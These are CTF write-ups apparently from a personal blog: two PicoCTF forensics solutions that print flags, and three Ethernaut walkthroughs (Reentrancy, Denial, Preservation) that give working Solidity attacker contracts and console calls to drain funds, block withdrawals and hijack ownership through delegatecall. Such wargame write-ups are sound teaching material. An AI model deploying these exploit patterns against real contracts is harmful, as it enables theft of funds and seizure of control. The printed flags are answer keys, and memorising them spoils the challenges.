Wei's

PicoCTF - Redaction gone wrong

26 Sep 2022

Challenge

Tags

PicoCTF 2022 / Forensics

Description

Now you DON’T see me.
This report has some critical data in it, some of which have been redacted correctly, while some were not. Can you find an important key that was not redacted properly?

Prereguisite

pdftotext
You can download by sudo apt install poppler-utils.

Writeup

  1. Download the pdf. 
    
 wget https://artifacts.picoctf.net/c/264/Financial_Report_for_ABC_Labs.pdf
  2. Convert pdf to txt. 
    
 pdftotext Financial_Report_for_ABC_Labs.pdf
  3. Grep the flag. 
    
 cat Financial_Report_for_ABC_Labs.txt| grep pico
  4. Here’s flag! picoCTF{C4n_Y0u_S33_m3_fully} ٩(^ᴗ^)۶

PicoCTF - Matryoshka doll

25 Sep 2022

Challenge

Tags

PicoCTF 2021 / Forensics

Description

Matryoshka dolls are a set of wooden dolls of decreasing size placed one inside another. What’s the final one?
Image: this

Prereguisite

Binwalk, which is a tool for searching a given binary image for embedded files and executable code.

Writeup

  1. Download the file. 
    
 wget https://mercury.picoctf.net/static/205adad23bf9d8303081a0e71c9beab8/dolls.jpg
  2. Unzip the file 
    
 binwalk -e dolls.jpg
  3. Use ls command, we can see that there are one file(dolls.jpg) and one folder(_dolls.jpg.extracted). Second picture(2_c.jpg) is in _dolls.jpg.extracted/base_images.
  4. Repeat unzip like step 2 three times. 
    
 cd _dolls.jpg.extracted/base_images
 binwalk -e 2_c.jpg
 cd _2_c.jpg.extracted/base_images
 binwalk -e 3_c.jpg
 cd _3_c.jpg.extracted/base_images
 binwalk -e 4_c.jpg
 cd _4_c.jpg.extracted
  5. Now If we use ls command to list all file under the folder, there is a file named flag.txt !
  6. Here’s our flag. ٩(^ᴗ^)۶ 
    
 cat flag.txt
 # picoCTF{96fac089316e094d41ea046900197662}

Ethernaut - 10. Reentrancy

24 Sep 2022

Difficulty: 🌕🌕🌕🌑🌑

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

  • Untrusted contracts can execute code where you least expect it.
  • Fallback methods
  • Throw/revert bubbling
  • Sometimes the best way to attack a contract is with another contract.
  • See the Help page above, section “Beyond the console”

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Writeup

  1. Get new instance.
  2. Get contract’s balance. 
    
 await getBalance(contract.address)
 // 0.001
  3. Create a contract. 
     // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.0;

 interface IReentrance {
     function donate(address _to) external payable;
     function withdraw(uint256 _amount) external;
 }

 contract ReentrancyAttacker {
     IReentrance levelInstance;
     uint targetValue = 0.001 ether;

     constructor(address _levelInstance) {
         levelInstance = IReentrance(_levelInstance);
     }

     function attack() public {
         levelInstance.withdraw(targetValue);
     }

     fallback() external payable {
         levelInstance.withdraw(targetValue);
     }
 }
  4. Compile and deploy with Reentrance instance address.
  5. Donate 0.001 ether to our ReentrancyAttacker contract. 
    
 await contract.donate('REENTRANCYATTACKER_CONTRACT_ADDRESS', {value: 0.001 })
  6. Call attack function in the ReentrancyAttacker.
  7. Submit instance ξ( ✿＞◡❛)

Ethernaut - 20. Denial

23 Sep 2022

Difficulty: 🌕🌕🌕🌑🌑

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Writeup

There is a line partner.call{value:amountToSend}(""); in the function withdraw(). So we can create a parner contract and write some malicious code in fallback function to drain all gas.

  1. Get new instance.
  2. Create a new contract. 
     // SPDX-License-Identifier: MIT
 pragma solidity ^0.6.0;

 interface IDenial {
     function withdraw() external;
     function setWithdrawPartner(address _partner) external;
 }

 contract DenialAttacker {
     fallback () external payable {
         IDenial(msg.sender).withdraw();
     }
 }
  3. Compile and deploy.
  4. Call setWithdrawPartner method. 
    
 await contract.setWithdrawPartner('YOUR_DENIALATTACKER_CONTRACT_ADDRESS')
  5. Submit instance ξ( ✿＞◡❛)

Ethernaut - 16. Preservation

23 Sep 2022

Difficulty: 🌕🌕🌕🌕🌑

This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

  • Look into Solidity’s documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
  • Understanding what it means for delegatecall to be context-preserving.
  • Understanding how storage variables are stored and accessed.
  • Understanding how casting works between different data types.

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

Writeup

The key to solve this level is delegatecall(). You can learn the detail in this website.

  1. Get new instance.
  2. Create a new contract 
     // SPDX-License-Identifier: MIT
 pragma solidity ^0.6.0;

 contract PreservationAttacker {
     address public timeZone1Library;
     address public timeZone2Library;
     address public owner; 
     uint storedTime;

     function setTime(uint _time) public {
         owner = msg.sender;
     }
 }
  3. Compile and deploy. My contract address is 0x666EEeb5D57C908b582155D28A2fD46193f07325.
  4. Convert datatype address to uint256 by padding 24 zero to the left of address. I got 0x000000000000000000000000666EEeb5D57C908b582155D28A2fD46193f07325.
  5. Call the method to change address timeZone1Library to our malicious contract address. 
    
 await contract.setFirstTime('0x000000000000000000000000666EEeb5D57C908b582155D28A2fD46193f07325')
  6. Check timeZone1Library address. 
    
 await contract.timeZone1Library()
 // '0x666EEeb5D57C908b582155D28A2fD46193f07325'
  7. Call the method to invoke malicous setTime(uint256) to change owner to our account address. 
    
 await contract.setFirstTime('123')
  8. Check owner. 
    
 await contract.owner()
 // '0xa450CD84Ac7E1cC1D6c5b28b275B7706E1C4e065' <- my account address!
  9. Submit instance ξ( ✿＞◡❛)